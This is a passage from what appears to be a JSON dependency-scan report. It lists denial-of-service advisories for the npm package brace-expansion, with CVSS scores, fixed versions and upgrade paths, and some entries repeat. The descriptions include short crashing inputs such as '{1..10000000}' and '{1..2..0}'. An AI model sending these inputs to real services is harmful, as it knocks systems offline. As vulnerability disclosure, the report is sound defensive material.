Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ 